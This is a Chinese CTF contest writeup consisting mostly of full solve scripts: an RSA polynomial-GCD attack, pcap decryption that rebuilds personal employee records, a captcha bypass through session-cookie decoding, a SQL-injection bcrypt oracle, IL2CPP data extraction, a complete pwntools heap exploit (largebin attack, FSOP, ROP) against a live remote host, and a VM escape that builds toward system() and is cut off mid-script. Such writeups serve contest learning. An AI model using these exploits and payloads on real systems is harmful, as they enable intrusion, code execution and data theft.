宁波市第九届网络安全大赛初赛 Writeup

from Crypto.Util.number import getPrime, bytes_to_long
 
p, q = getPrime(512), getPrime(512)
n = p * q
e = 17                      # 很小的公钥指数
flag = b"DASCTF{...}"
m = bytes_to_long(flag)
 
a = getRandomRange(2, n)    # 公开
b = getRandomRange(2, n)    # 公开
 
c1 = pow(m, e, n)                    # 密文 1
c2 = pow(a * m + b, e, n)            # 密文 2：明文是 m 的仿射变换

f1(X) = X^e − c1        （因 m^e ≡ c1 mod n）
f2(X) = (aX+b)^e − c2   （因 (a·m+b)^e ≡ c2 mod n）

from Crypto.Util.number import long_to_bytes
 
n = 138135102345212422731809266578654125421263741277247527001823275028277558784792687955638792735411664664786385055354789115814334998471148614834220637589262273400765606158837835776555245956950490297851781347624743838965800701295655562669888982509373037323009398256131040311476217969876349355188636100189323858719
e = 17
a = 83569586940358269616483736110794388963219631058001258801697045291710199195400482148579966002846094031748727522549265827755957695685599541505034870366329222184857852820619894169255286434870206982751257383401127863604412385165432761065569753353680589063164484059820837387598552737543997828852226963445212665327
b = 126306379194267276529742821477354470543159186929678783757564699918657646687078400294668439303545554324843015121035370635254230607808767176278498127759415349412530449734407997247866924666117281609645700444715667659304006049394635609159672838928033076079864979982977330392135958698967527018497913889682682699713
c1 = 63223410133361659979495914777880794068722032782064277746832775301143976654364124947629297373957018811106810454534207081275822695767399804773422869246358492059488808587178325850627743232015328320685779733024782095383159759972035459543516495558423952356219533597176382437041414699287247816416121835144236700665
c2 = 67879050967633310792776582619133880858175729883729797947563722632111275354989254473463698360968855132443371848470959047709580194662921774251342611326115640825584744607284821773716044021105929039986955814643647088470270852499870979477853176977228506630904043234759595566235200071884100944702655197101547596786
 
def poly_mulmod(f, g, n):
    # multiply polynomials mod n, f,g lists low->high
    res = [0] * (len(f) + len(g) - 1)
    for i, fi in enumerate(f):
        if fi % n == 0:
            continue
        for j, gj in enumerate(g):
            res[i + j] = (res[i + j] + fi * gj) % n
    return res
 
def poly_addmod(f, g, n):
    L = max(len(f), len(g))
    res = [( (f[i] if i < len(f) else 0) + (g[i] if i < len(g) else 0) ) % n for i in range(L)]
    while len(res) > 1 and res[-1] == 0:
        res.pop()
    return res
 
def poly_powmod(f, e, n):
    # power of polynomial f^e mod n
    res = [1]
    base = [x % n for x in f]
    while e > 0:
        if e & 1:
            res = poly_mulmod(res, base, n)
        base = poly_mulmod(base, base, n)
        e >>= 1
    return res
 
def poly_mod(f, g, n):
    # f mod g, g monic assumption -> require leading coeff of g invertible mod n
    f = [x % n for x in f]
    g = [x % n for x in g]
    # make g monic by inverting leading coeff
    lc = g[-1]
    inv_lc = pow(lc, -1, n)
    g = [(c * inv_lc) % n for c in g]  # now monic
    while len(f) >= len(g) and f != [0]:
        if len(f) == len(g) and f[-1] == 0:
            break
        coef = f[-1]
        d = len(f) - len(g)
        # subtract coef * x^d * g
        sub = [0] * d + [(coef * gc) % n for gc in g]
        f = [(a - b) % n for a, b in zip(f, sub)] if len(f) >= len(sub) else f
        # trim
        while len(f) > 1 and f[-1] == 0:
            f.pop()
        if len(f) == 1 and f[0] == 0:
            f = [0]
    return f
 
def poly_gcd(f, g, n):
    while g != [0]:
        r = poly_mod(f, g, n)
        f, g = g, r
    # make monic
    lc = f[-1]
    inv = pow(lc, -1, n)
    f = [(c * inv) % n for c in f]
    return f
 
# f1 = X^17 - c1
f1 = [(-c1) % n] + [0] * 16 + [1]
# f2 = (aX + b)^17 - c2
lin = [b % n, a % n]
f2 = poly_powmod(lin, e, n)
f2[0] = (f2[0] - c2) % n
 
g = poly_gcd(f1, f2, n)
print("gcd degree:", len(g) - 1)
print("gcd:", g)
 
# if linear: g = x - m  => m = -g[0]
if len(g) == 2:
    m = (-g[0]) % n
elif len(g) == 3:
    # quadratic -> try roots
    m = None
    print("quadratic gcd")
else:
    # higher degree, find roots
    m = None
    print("higher degree")
 
if m is not None:
    print("m =", m)
    print("flag:", long_to_bytes(m))

pip install pycryptodome
python3 twrsa-solve.py

gcd degree: 1
gcd: [..., 1]        # 即 X - m
m = 569500674440382721586929298834568611587302331308800418954415041565408445283239208788724351713661
flag: b'DASCTF{P0lyn0m1al_GCD_1s_Th3_K3y_T0_RSA}'

GET /api/{profile|identity|contact|basic|info}?pass=<16-char-key>
响应体：hex → base64 → AES 密文

{"<uuid>":"SZK9","session_id":"<uuid>"}

#!/usr/bin/env python3
"""dataInfoLeak solver: decrypt HTTP API responses from data.pcapng, merge by userid, emit CSV."""
import subprocess, binascii, base64, json, re, csv, sys
from Crypto.Cipher import AES
from collections import defaultdict
 
PCAP = 'challenge/extracted/dataInfoLeak的附件/data.pcapng'
OUT = 'employees.csv'
FIELDS = ['userid', 'username', 'name', 'phone', 'idcard', 'email']
 
def extract_pairs(pcap):
    out = subprocess.run(
        ['tshark', '-r', pcap, '-Y', 'http', '-T', 'fields',
         '-e', 'frame.number', '-e', 'ip.src', '-e', 'http.request.method',
         '-e', 'http.request.uri', '-e', 'http.file_data'],
        capture_output=True, text=True).stdout
    records = []
    for ln in out.strip().split('\n'):
        parts = ln.split('\t')
        if len(parts) < 5:
            continue
        fr, src, method, uri, fd = parts[0], parts[1], parts[2], parts[3], parts[4]
        if method == 'GET':
            m = re.search(r'pass=([^&\s]+)', uri)
            if m:
                records.append((int(fr), 'req', uri, m.group(1), ''))
        elif method == '' and fd:
            records.append((int(fr), 'resp', '', '', fd))
    records.sort(key=lambda x: x[0])
    pending, pairs = [], []
    for fr, typ, uri, p, fd in records:
        if typ == 'req':
            pending.append((fr, uri, p))
        else:
            rfr, ruri, rp = pending.pop(0)
            pairs.append((rfr, fr, ruri, rp, fd))
    return pairs
 
def decrypt(p, h):
    key = p.encode()
    b64 = binascii.unhexlify(h)
    ct = base64.b64decode(b64)
    pt = AES.new(key, AES.MODE_ECB).decrypt(ct)
    pad = pt[-1]
    if 1 <= pad <= 16 and pt[-pad:] == bytes([pad]) * pad:
        pt = pt[:-pad]
    return json.loads(pt.decode('utf-8'))
 
def main():
    pairs = extract_pairs(PCAP)
    uid_vals = defaultdict(dict)
    n = 0
    for rfr, sfr, uri, p, h in pairs:
        obj = decrypt(p, h)
        n += 1
        uid = obj['userid']
        for f in FIELDS[1:]:
            if f in obj:
                uid_vals[uid][f] = obj[f]
    print(f'decrypted {n} responses, {len(uid_vals)} users')
    complete = {u: v for u, v in uid_vals.items() if len(v) == len(FIELDS) - 1}
    print(f'complete records: {len(complete)}')
    with open(OUT, 'w', newline='', encoding='utf-8') as fh:
        w = csv.writer(fh)
        w.writerow(FIELDS)
        for uid in sorted(complete, key=int):
            v = complete[uid]
            w.writerow([uid, v['username'], v['name'], v['phone'], v['idcard'], v['email']])
    print(f'wrote {OUT}')
 
if __name__ == '__main__':
    main()

#!/usr/bin/env python3
"""Upload employees.csv to the DAS File Checker and retrieve the validation result."""
import base64, zlib, json, sys, time, requests
 
BASE = 'http://45.40.247.139:18764'
 
def get_captcha_answer(sess):
    r = sess.get(f'{BASE}/api/captcha', timeout=30)
    ck = sess.cookies.get('session')
    if not ck:
        raise RuntimeError('no session cookie')
    parts = ck.split('.')
    payload = parts[1] + '=' * (-len(parts[1]) % 4)
    data = base64.urlsafe_b64decode(payload)
    try:
        dec = zlib.decompress(data)
    except Exception:
        dec = data
    obj = json.loads(dec)
    # answer is the value whose key is not 'session_id'
    ans = None
    for k, v in obj.items():
        if k != 'session_id':
            ans = v
    return ans
 
def main():
    csv_path = sys.argv[1] if len(sys.argv) > 1 else 'employees.csv'
    sess = requests.Session()
    ans = get_captcha_answer(sess)
    print('captcha answer:', ans)
 
    with open(csv_path, 'rb') as fh:
        files = {'file': (csv_path.split('/')[-1], fh, 'text/csv')}
        data = {'captcha': ans}
        r = sess.post(f'{BASE}/api/upload', files=files, data=data, timeout=300)
    print('upload response:', r.status_code, r.text[:500])
    try:
        j = r.json()
    except Exception:
        print('non-json response')
        sys.exit(1)
    if j.get('state') == -1:
        print('upload rejected:', j.get('reason'))
        sys.exit(1)
    key = j.get('key')
    print('task key:', key, 'position:', j.get('position'))
 
    # poll status
    for i in range(120):
        time.sleep(5)
        r = sess.get(f'{BASE}/api/status/{key}', timeout=30)
        st = r.json()
        pos = st.get('position')
        if pos is not None:
            print(f'poll {i}: position={pos} state={st.get("state")}')
        if st.get('state') == 1:
            print('RESULT:', json.dumps(st, ensure_ascii=False, indent=2))
            break
        if st.get('state') == -1:
            print('FAILED:', json.dumps(st, ensure_ascii=False, indent=2))
            break
    else:
        print('timeout waiting for result')
 
if __name__ == '__main__':
    main()

decrypted 5332 responses, 3000 users
complete records: 1950
wrote employees.csv

{"filename":"employees.csv","flag":"DASCTF{58620422191328792364068629243227}\n","score":"100.000%","state":1,"reason":"上传成功"}

$secret = file_get_contents('/secret.txt');     // bcrypt salt
$pwhash = crypt($password, $secret);            // 哈希回显于错误信息
if (isset($_GET['salt']) && strcmp($_GET['salt'], $secret) === 0) {
    $password .= file_get_contents('/flag.txt'); // 密码后拼接 flag
}
$row = querySingle("SELECT username, pwhash FROM users WHERE username='$username'");
// 失败回显："你的登陆密码错误：<hash>"

POST /?salt=...  username=' UNION SELECT 'admin','<oracle-hash>' --  password=<chosen>

<!-- secret: $2a$10$77b438009c258a4cb0215c98a19cfb61$ -->

窗口: A A ... A | flag[0] flag[1] ... flag[i]   （共 72 字节）

#!/usr/bin/env python3
"""crazy_sql exploit
Oracle: POST /?salt=<secret>  with username injection -> echoes crypt(password+flag, secret)
bcrypt truncates at 72 bytes => password of length 71 exposes flag[0], etc.
"""
import requests, bcrypt, string, re, sys, time
 
URL = 'http://45.40.247.139:16881/'
SECRET = open('/workspace/secret.txt').read().strip()
SALT29 = b'$2a$10$77b438009c258a4cb0215O'   # effective bcrypt salt derived by PHP
 
CHARSET = string.printable[:95]  # printable ascii
INJ = "' UNION SELECT 'x','y' -- "  # makes query return a row so hash is echoed
 
def oracle(password, salt=True, retries=3):
    params = {'salt': SECRET} if salt else None
    last = None
    for a in range(retries):
        try:
            r = requests.post(URL, params=params,
                              data={'username': INJ, 'password': password},
                              timeout=25)
            m = re.search(r'你的登陆密码错误：(\S+)', r.text)
            if m:
                return m.group(1)
            if '检测到潜在的' in r.text:
                return 'BLOCKED'
            last = r.text
        except Exception as e:
            last = repr(e)
        time.sleep(1)
    raise RuntimeError('oracle failed: ' + str(last)[:300])
 
def bcrypt_hash(pw_bytes):
    return bcrypt.hashpw(pw_bytes, SALT29).decode()
 
def find_char(prefix, i):
    # password = 'A'*(71-i) pure padding; oracle hashes password+flag truncated to 72
    # => 72-byte window = 'A'*(71-i) + flag[0..i]  (i+1 flag chars)
    pad = 'A' * (71 - i)
    H = oracle(pad)
    if H == 'BLOCKED':
        print(f'[!] pattern blocked at i={i}'); return None, H
    for c in CHARSET:
        cand = (pad + prefix + c).encode()  # len == (71-i)+i+1 == 72
        if bcrypt_hash(cand) == H:
            return c, H
    return None, H
 
def main():
    prefix = ''
    print('secret:', SECRET)
    # sanity: no-salt oracle should equal local crypt of password
    H0 = oracle('mypw123', salt=False)
    print('no-salt oracle mypw123:', H0)
    local = bcrypt_hash(b'mypw123')
    print('local               :', local, 'match:', H0 == local)
 
    for i in range(80):
        c, H = find_char(prefix, i)
        if c is None:
            print(f'[!] no candidate at i={i}; H={H}')
            break
        prefix += c
        print(f'i={i:2d} char={c!r} prefix={prefix!r}')
        if c == '}':
            print('[*] got closing brace; verifying...')
            break
        if i > 0 and c == prefix[0]:
            # possible wrap-around
            print(f'[*] wrap-around suspect at i={i} (char == flag[0])')
            break
 
    print('=== candidate flag:', prefix)
    # verify with a fresh oracle query
    Hv = oracle('x')
    localv = bcrypt_hash(b'x' + prefix.encode())
    print('verify oracle:', Hv)
    print('verify local :', localv, 'MATCH' if Hv == localv else 'MISMATCH')
    open('/workspace/flag_candidate.txt', 'w').write(prefix)
    return prefix
 
if __name__ == '__main__':
    main()

pip install requests bcrypt
python3 exploit.py

#!/usr/bin/env python3
"""
QRCodeWorld — solve script.
 
The flag is "under your feet": the game QRCodeWorld (Unity IL2CPP) renders a
ground QR code from QRCodeGenerator.qrCodeData, a 29x29 int[,] initialized via
RuntimeHelpers.InitializeArray from the field's default-value blob stored in
global-metadata.dat (Il2CppGlobalMetadataHeader.fieldAndParameterDefaultValueData).
 
This script:
  1. Parses the IL2CPP global-metadata.dat header to locate the
     fieldAndParameterDefaultValueData section.
  2. Finds the 29*29 = 841-int32 window whose values are all 0/1 and balanced
     (the QR module matrix; 200 < dark modules < 650).
  3. Renders it as a PNG (with quiet zone) and decodes it with pyzbar.
 
Output: the flag DASCTF{...}
"""
import struct
import numpy as np
from PIL import Image
import pyzbar.pyzbar as pyzbar
 
METADATA = "qrcodeworld/QRCodeWorld_Data/il2cpp_data/Metadata/global-metadata.dat"
SIZE = 29  # qrCodeData = new int[29,29]  (from QRCodeGenerator .ctor)
 
 
def section(meta, off):
    """Read an Il2CppGlobalMetadataSectionHeader {Offset, Size} at file offset `off`."""
    o, s = struct.unpack_from("<II", meta, off)
    return o, s
 
 
def find_qr_blob(meta):
    # fieldAndParameterDefaultValueData is the 9th header section -> file offset 8+8*8=72
    fapd_off, fapd_size = section(meta, 72)
    data = meta[fapd_off:fapd_off + fapd_size]
    a = np.frombuffer(data, dtype="<u4")
    n = SIZE * SIZE
    for i in range(0, len(a) - n + 1):
        w = a[i:i + n]
        if np.all((w == 0) | (w == 1)):
            ones = int(w.sum())
            if 200 < ones < 650:  # balanced QR matrix
                return w.reshape(SIZE, SIZE), fapd_off + i * 4
    raise RuntimeError("QR blob not found")
 
 
def render(grid, quiet=4, scale=10):
    h, w = grid.shape
    img = np.ones((h + 2 * quiet, w + 2 * quiet), dtype=np.uint8) * 255
    img[quiet:quiet + h, quiet:quiet + w] = np.where(grid == 1, 0, 255)
    return Image.fromarray(img).resize(((w + 2 * quiet) * scale, (h + 2 * quiet) * scale), Image.NEAREST)
 
 
def main():
    meta = open(METADATA, "rb").read()
    assert struct.unpack_from("<I", meta, 0)[0] == 0xFAB11BAF, "bad metadata magic"
    grid, off = find_qr_blob(meta)
    print(f"[*] QR matrix found at metadata offset 0x{off:x}")
    im = render(grid)
    im.save("/workspace/qr_flag.png")
    res = pyzbar.decode(im)
    for r in res:
        print("[+] FLAG:", r.data.decode())
    if not res:
        print("[-] decode failed")
    return res[0].data.decode() if res else None
 
 
if __name__ == "__main__":
    main()

1.Add note
2.Delete note
3.Edit note
4.Show note
>

低地址                         高地址
+-------------+  chunk A (0x520)   ← idx0
+-------------+  chunk G (0x510)   ← idx1 (guard)
+-------------+  chunk B (0x510)   ← idx2
+-------------+  chunk H1 (0x510)  ← idx3 (ROP 栈 + 路径串)
+-------------+  chunk C (0x510)   ← idx4
+-------------+  chunk H2 (0x510)  ← idx5 (guard)

目标：*(A->bk_nextsize + 0x20) = B_chunk，即 _IO_list_all = B_chunk

1. free A；malloc(0x520) → A 进入 largebin 76 并留驻（0x520 < 0x530，lookup 跳过）
2. UAF-edit A：A->bk_nextsize = _IO_list_all - 0x20
3. free B；malloc(0x520)：
   B (0x510) 以 "smaller-than-smallest" 分支插入 largebin 76（无检查）
   → 执行 *(A->bk_nextsize + 0x20) = B_chunk
   → 即 _IO_list_all = B_chunk
   同一次 malloc 因 lookup 跳过而正常返回（不崩溃）

add(非法 size) → exit()
  → _IO_flush_all_lockp 遍历 _IO_list_all (= B_chunk)
  → 假 _IO_FILE at B：
       vtable     = _IO_wfile_jumps
       _wide_data = W (B+0x100)
       W->_IO_write_base = 0, W->_IO_write_ptr = 1    ← 触发 wfile overflow
       W->_wide_vtable   = V (B+0x200)
       V[0x68] (__doallocate) = setcontext+0x126       ← ret-pivot
  → _IO_wfile_overflow → _IO_wdoallocbuf
  → call wide_vtable->__doallocate(fp)
  → setcontext 从 W 载入 rdi/rsi/rdx/rcx
  → push [W+0xa8]; ret → 跳到 "mov rsp,rdx; ret" (0x5a120)
  → rsp = 堆上 ROP 栈（W+0x88 指向）
  → ROP: open/read/write 读 /flag

#!/usr/bin/env python3
"""
Regular_apples — pwn (heap) challenge
=====================================
Remote: nc 45.40.247.139 22685
 
Vulnerability: use-after-free in the note program (free does not clear the
pointer/size), only sizes in [0x500,0x520] (large chunks, no tcache).
 
Exploit chain:
  1. Leak libc + heap via freed unsorted-bin chunks (show = 8 bytes).
  2. Largebin attack (House-of-Apple-style): corrupt A->bk_nextsize so that
     inserting a smaller chunk B writes B's chunk pointer into `_IO_list_all`.
     (Request size nb=0x530 keeps the largebin lookup from touching the
     corrupted bin, so the attack malloc returns cleanly.)
  3. FSOP on exit: `_IO_list_all` -> fake _IO_FILE at B.  The wfile-overflow
     path (vtable = _IO_wfile_jumps, _wide_data->_IO_write_base==0) reaches
     _IO_wdoallocbuf -> wide-vtable->__doallocate.
  4. __doallocate = setcontext+0x126 (ret-pivot): sets rdi/rsi/rdx/rcx from
     the wide-data area W, then `push [W+0xa8]; ret`.
  5. Jump to `mov rsp,rdx; ret` (0x5a120) with rdx = heap ROP stack =>
     full ROP chain: open("/flag",0); read(fd,buf,0x100); write(1,buf,0x100).
 
IMPORTANT remote-libc notes (the remote libc differs from the attached one):
  * unsorted/_IO_list_all/_IO_wfile_jumps/setcontext/puts/fwrite match the
    attached libc (glibc 2.35-0ubuntu3.8).
  * The syscall-wrapper region (open/read/write) is shifted by +0x80:
      open  = 0x114560   (attached: 0x1144e0)
      read  = 0x114850   (attached: 0x1147d0)
      write = 0x1148f0   (attached: 0x114870)
      pop rdx;pop r12;ret = 0x11f367 (attached: 0x11f2e7)
  * execve/system are blocked by seccomp on the remote (no shell), so the
    flag is read via open/read/write.
  * Long edit payloads (>=~0x500 bytes) can race with read() on the socket
    and leave stray bytes -> desync.  Fix: send only the bytes each edit
    actually needs (read returns exactly what we sent).
 
Flag: DASCTF{CongRaTulat1ons_ON_Get1ng_The_R1ght_App1e}
"""
from pwn import *
import time
 
context.arch = 'amd64'
context.log_level = 'info'
 
HOST = '45.40.247.139'
PORT = 22685
 
# ---- remote libc offsets (verified by dumping the remote libc) ----
OPEN        = 0x114560
READ        = 0x114850
WRITE       = 0x1148f0
MOV_RSP_RDX = 0x5a120         # mov rsp, rdx; ret
POP_RDI     = 0x2a3e5
POP_RSI     = 0x2be51
POP_RDX_R12 = 0x11f367        # pop rdx; pop r12; ret
IO_LIST_ALL = 0x21b680
IO_WFILE_JUMPS = 0x2170c0
UNSORTED_OFF = 0x21ace0
BIN76_HEAD  = 0x21b430
SC_RETPIVOT = 0x539e0 + 0x126
 
def start():
    return remote(HOST, PORT, timeout=15)
 
def add(p, idx, size, content=b'A'*8):
    p.sendlineafter(b'> ', b'1'); p.sendlineafter(b'Index: \n', str(idx).encode())
    p.sendlineafter(b'Size: \n', str(size).encode()); p.sendafter(b'Content: \n', content)
 
def delete(p, idx):
    p.sendlineafter(b'> ', b'2'); p.sendlineafter(b'Index: \n', str(idx).encode())
 
def edit(p, idx, content):
    p.sendlineafter(b'> ', b'3'); p.sendlineafter(b'Index: \n', str(idx).encode())
    p.sendafter(b'Content: \n', content)
 
def show(p, idx):
    p.sendlineafter(b'> ', b'4'); p.sendlineafter(b'Index: \n', str(idx).encode())
    return p.recvn(8)
 
def build_rop(libc, path_addrs, BUF):
    chain = []
    def q(*vals):
        for v in vals: chain.append(v)
    fd = 3
    for path in path_addrs:
        q(libc+POP_RDI, path)
        q(libc+POP_RSI, 0)
        q(libc+OPEN)
        q(libc+POP_RDI, fd)
        q(libc+POP_RSI, BUF)
        q(libc+POP_RDX_R12, 0x100, 0)
        q(libc+READ)
        q(libc+POP_RDI, 1)
        q(libc+POP_RSI, BUF)
        q(libc+POP_RDX_R12, 0x100, 0)
        q(libc+WRITE)
        fd += 1
    return b''.join(p64(x) for x in chain)
 
def exploit(paths, verbose=True):
    p = start()
    def LOG(m):
        if verbose: log.info(m)
    # heap layout: A(0x520), G(0x510), B(0x510), H1(0x510), C(0x510), H2(0x510)
    add(p,0,0x510); add(p,1,0x500); add(p,2,0x500); add(p,3,0x500); add(p,4,0x500); add(p,5,0x500)
    # leaks (free B and C into unsorted)
    delete(p,2); delete(p,4)
    libc_leak = u64(show(p,2))      # B->fd = unsorted head
    heap_leak = u64(show(p,4))      # C->fd = B_chunk
    libc = libc_leak - UNSORTED_OFF
    B_chunk = heap_leak
    A_chunk = B_chunk - 0x520 - 0x510
    B_user = B_chunk + 0x10
    H1_user = B_chunk + 0x520
    LOG(f'libc={hex(libc)} B_chunk={hex(B_chunk)}')
    # reclaim C and B
    add(p,6,0x500); add(p,7,0x500)
    # free A; malloc(0x520) puts A (0x520) into largebin 76 (lookup skipped)
    delete(p,0); add(p,8,0x520)
    # corrupt A->bk_nextsize = _IO_list_all - 0x20
    payload = p64(libc+BIN76_HEAD)+p64(libc+BIN76_HEAD)+p64(A_chunk)+p64(libc+IO_LIST_ALL-0x20)
    edit(p,0,payload)               # short payload -> no socket desync
    # free B; malloc(0x520) -> B binned (smaller-than-smallest) -> *_IO_list_all = B_chunk
    delete(p,2); add(p,9,0x520)
    LOG('[+] attack done')
 
    # ---- ROP chain + path strings in H1 (note3) ----
    ROP_STACK = H1_user + 0x100
    BUF = H1_user + 0x20
    path_addrs = []
    h_payload = bytearray(0x500)
    for i, path in enumerate(paths):
        off = 0x20 + i*0x40
        h_payload[off:off+len(path)] = path + b'\x00'
        path_addrs.append(H1_user + off)
    rop = build_rop(libc, path_addrs, BUF)
    h_payload[0x100:0x100+len(rop)] = rop
    edit(p,3, bytes(h_payload[:0x100+len(rop)]))
    LOG('[+] ROP written')
 
    # ---- fake FILE at B (note2) ----
    W = B_user + 0x100
    V = B_user + 0x200
    LOCK = B_user + 0x300
    fake = bytearray(0x500)
    fake[0x58:0x60] = p64(0)                    # _chain
    fake[0x78:0x80] = p64(LOCK)                 # _lock
    fake[0x90:0x98] = p64(W)                    # _wide_data
    fake[0xb0:0xb4] = p32(1)                    # _mode
    fake[0xc8:0xd0] = p64(libc + IO_WFILE_JUMPS)
    fake[0x118:0x120] = p64(0)                  # W+0x18 write_base
    fake[0x120:0x128] = p64(1)                  # W+0x20 write_ptr
    fake[0x130:0x138] = p64(0)                  # W+0x30 buf_base
    fake[0x188:0x190] = p64(ROP_STACK)          # W+0x88 -> rdx -> new rsp
    fake[0x1a8:0x1b0] = p64(libc + MOV_RSP_RDX)  # W+0xa8 -> mov rsp,rdx; ret
    fake[0x1e0:0x1e8] = p64(V)                  # W+0xe0 _wide_vtable
    fake[0x268:0x270] = p64(libc + SC_RETPIVOT) # __doallocate = setcontext+0x126
    edit(p,2, bytes(fake[:0x408]))
    LOG('[+] fake FILE written')
 
    # ---- trigger exit via add with invalid size ----
    p.sendlineafter(b'> ', b'1'); p.sendlineafter(b'Index: \n', b'11'); p.sendlineafter(b'Size: \n', b'256')
    LOG('[+] triggered')
    return p
 
if __name__ == '__main__':
    paths = [b'/flag', b'/flag.txt', b'/home/ctf/flag', b'/root/flag', b'/home/user/flag', b'/tmp/flag']
    p = exploit(paths)
    time.sleep(0.5)
    try:
        out = p.recv(timeout=8)
        print(out.decode(errors='replace'))
    except Exception as e:
        print('recv err', e)
    p.close()

pip install pwntools
python3 solve.py      # 对远程 45.40.247.139:22685 一键利用

syscall(0=read,  r0=fd, r1=buf, r2=len)
syscall(1=write, ...)          # r0/r1/r2 直接作为原生 64 位地址
3=mmap, 4=free, 2=exit 也可用

# VM assembler for vvmm
T0, T1, T2, T3 = 0, 1, 2, 3
 
def op(n, t):
    return bytes([(n << 2) | t])
 
def imm24(v):
    v &= 0xffffff
    return bytes([(v >> 16) & 0xff, (v >> 8) & 0xff, v & 0xff])
 
def i0(n, imm):           # type0: opcode + 24-bit big-endian imm
    return op(n, T0) + imm24(imm)
 
def i1(n, r):             # type1: opcode + reg
    return op(n, T1) + bytes([r])
 
def i2(n, rd, rs):        # type2: opcode + 2 regs
    return op(n, T2) + bytes([rd, rs])
 
def i3(n, r, imm):        # type3: opcode + reg + imm32 LE
    return op(n, T3) + bytes([r]) + int(imm).to_bytes(4, 'little')
 
# ---- opcode numbers ----
# type3 (reg, imm32): 1 cmp_u 2 cmp_s 3 mov 4 xor 5 or 6 and 7 shl 8 shr
#                     10 add 11 sub 12 ldb 13 ldw 14 ldd 15 stb 16 stw 17 std
# type2 (rd, rs):     same numbering, 9 = xchg
# type1 (reg):        31 push 32 pop 33 inc 34 dec 35 movsp
#                     41 jmp 42 je 43 jg 44 jl 45 jg 46 jl 47 jne 48 call
# type0 (imm24):      36 sp-=4*i 37 sp+=4*i 41 jmp 42 je 43 jg 44 jl 45 jg 46 jl
#                     47 jne 48 call 51 syscall(imm, r0,r1,r2,...) 53 syscall_mem
#                     59 ret
 
def MOV(r, imm):   return i3(3, r, imm)
def MOVRR(rd, rs): return i2(3, rd, rs)
def SHL(r, imm):   return i3(7, r, imm)
def SHR(r, imm):   return i3(8, r, imm)
def ADD(r, imm):   return i3(10, r, imm)
def SUB(r, imm):   return i3(11, r, imm)
def OR(rd, rs):    return i2(5, rd, rs)
def AND(r, imm):   return i3(6, r, imm)
def XOR(r, imm):   return i3(4, r, imm)
def LDD(r, addr):  return i3(14, r, addr)   # r = u32 [code+addr]
def CMP0(r):       return i3(1, r, 0)       # cmp r, 0
def SYSCALL(num):  return i0(51, num)       # syscall(num, r0,r1,r2,r3..r6) raw
def SYSM(num):     return i0(53, num)       # syscall(num, fd=r0, buf=code+r1, cnt=r2)
def _rel(v):
    # relative offset encoding: bit 0x800000 set => subtract (v & 0x7fffff)
    v = int(v)
    if v < 0:
        return 0x800000 | (-v)
    return v & 0x7fffff
 
def JMP(off):      return i0(41, _rel(off))
def JE(off):       return i0(42, _rel(off))
def JNE(off):      return i0(47, _rel(off))
def JG(off):       return i0(43, _rel(off))
def JL(off):       return i0(44, _rel(off))

# Label-based two-pass assembler for the vvmm bytecode VM
from vm import i0, i1, i2, i3, _rel
 
class Asm:
    def __init__(self):
        self.insns = []   # (bytes, label_refs, pos)
        self.labels = {}
        self.pos = 0
 
    def label(self, name):
        self.labels[name] = self.pos
        return self
 
    def _emit(self, data, jtarget=None, jkind=None):
        # for jumps: data already 4 bytes, imm field patched in pass 2
        self.insns.append([data, jtarget, self.pos, jkind])
        self.pos += len(data)
 
    # --- raw ops ---
    def MOVI(self, r, imm):  self._emit(i3(3, r, imm))
    def MOVRR(self, rd, rs): self._emit(i2(3, rd, rs))
    def ADDI(self, r, imm):  self._emit(i3(10, r, imm))
    def SUBI(self, r, imm):  self._emit(i3(11, r, imm))
    def SHLI(self, r, imm):  self._emit(i3(7, r, imm))
    def SHRI(self, r, imm):  self._emit(i3(8, r, imm))
    def ORI(self, r, imm):   self._emit(i3(5, r, imm))
    def ANDI(self, r, imm):  self._emit(i3(6, r, imm))
    def XORI(self, r, imm):  self._emit(i3(4, r, imm))
    def ORR(self, rd, rs):   self._emit(i2(5, rd, rs))
    def CMPRR(self, rd, rs): self._emit(i2(1, rd, rs))   # unsigned cmp
    def CMPI(self, r, imm):  self._emit(i3(1, r, imm))   # unsigned cmp vs imm
    def LDD(self, r, addr):  self._emit(i3(14, r, addr)) # r = u32[code+addr]
    def STD(self, r, addr):  self._emit(i3(17, r, addr)) # u32[code+r]... note: [code+r]=imm no
    def STDI(self, addr, imm): self._emit(bytes()) if False else None
    def PUSH(self, r):       self._emit(i1(31, r))
    def POP(self, r):        self._emit(i1(32, r))
    def INC(self, r):        self._emit(i1(33, r))
    def DEC(self, r):        self._emit(i1(34, r))
    def SYSCALL(self, num):  self._emit(i0(51, num))     # syscall(num, r0=fd,r1=buf,r2=cnt)
    def SYSM(self, num):     self._emit(i0(53, num))     # syscall(num, r0=fd, buf=code+r1, cnt=r2)
    # --- jumps (4 bytes, patched pass 2) ---
    def _jmp(self, n, target):
        self._emit(i0(n, 0), jtarget=target, jkind='rel')
    def JMP(self, t): self._jmp(41, t)
    def JE(self, t):  self._jmp(42, t)
    def JG(self, t):  self._jmp(43, t)
    def JL(self, t):  self._jmp(44, t)
    def JNE(self, t): self._jmp(47, t)
 
    def assemble(self):
        out = bytearray()
        for data, jt, pos, kind in self.insns:
            if kind == 'rel':
                tgt = self.labels[jt] if isinstance(jt, str) else jt
                off = tgt - (pos + 4)
                data = i0(int(data[0]) >> 2, _rel(off))
            out += data
        return bytes(out)

#!/usr/bin/env python3
# Self-contained VM exploit for vvmm (remote has no interactive stdin).
import sys, time
from asmer import Asm
from pwn import *
 
context.arch = 'amd64'
context.log_level = 'info'
 
# libc 2.35-0ubuntu3.8 offsets
SYSTEM = 0x50d70
STDOUT = 0x21b780       # _IO_2_1_stdout_
WJUMPS = 0x2170c0       # _IO_wfile_jumps
UNSORTED_FD = 0x21ace0  # main_arena + 96
W = 0x228000            # fake _IO_wide_data  (libc .bss scratch)
V = 0x228100            # fake wide vtable
LOCK = 0x228200
 
R0, R1, R2, R3, R4, R5, R6 = range(7)
 
 
def write_qword(a, off):
    """emit code: write qword in r1 at [r0 + off] using sp pushes"""
    a.MOVRR(R6, R0)
    a.ADDI(R6, off + 4)
    a.PUSH(R1)                       # [A]   = lo32(r1)
    a._emit(bytes([0x94, 0, 0, 2]))  # type0 n=37 imm=2 : sp += 8
    a.MOVRR(R2, R1)
    a.SHRI(R2, 32)
    a.PUSH(R2)                       # [A+4] = hi32(r1)
 
 
def build(command, dump_heap=False, dump_bss=False, dump_final=False):
    assert len(command) <= 31
    cmd = command.encode().ljust(32, b'\x00')
    a = Asm()
    # ---- heap setup: unsorted bin chunk ----
    a.MOVI(R0, 0x500); a.SYSCALL(3)
    a.MOVI(R0, 0x20);  a.SYSCALL(3)   # guard chunk (prevents top consolidation)
    a.MOVI(R0, 0);     a.SYSCALL(4)   # free -> unsorted bin
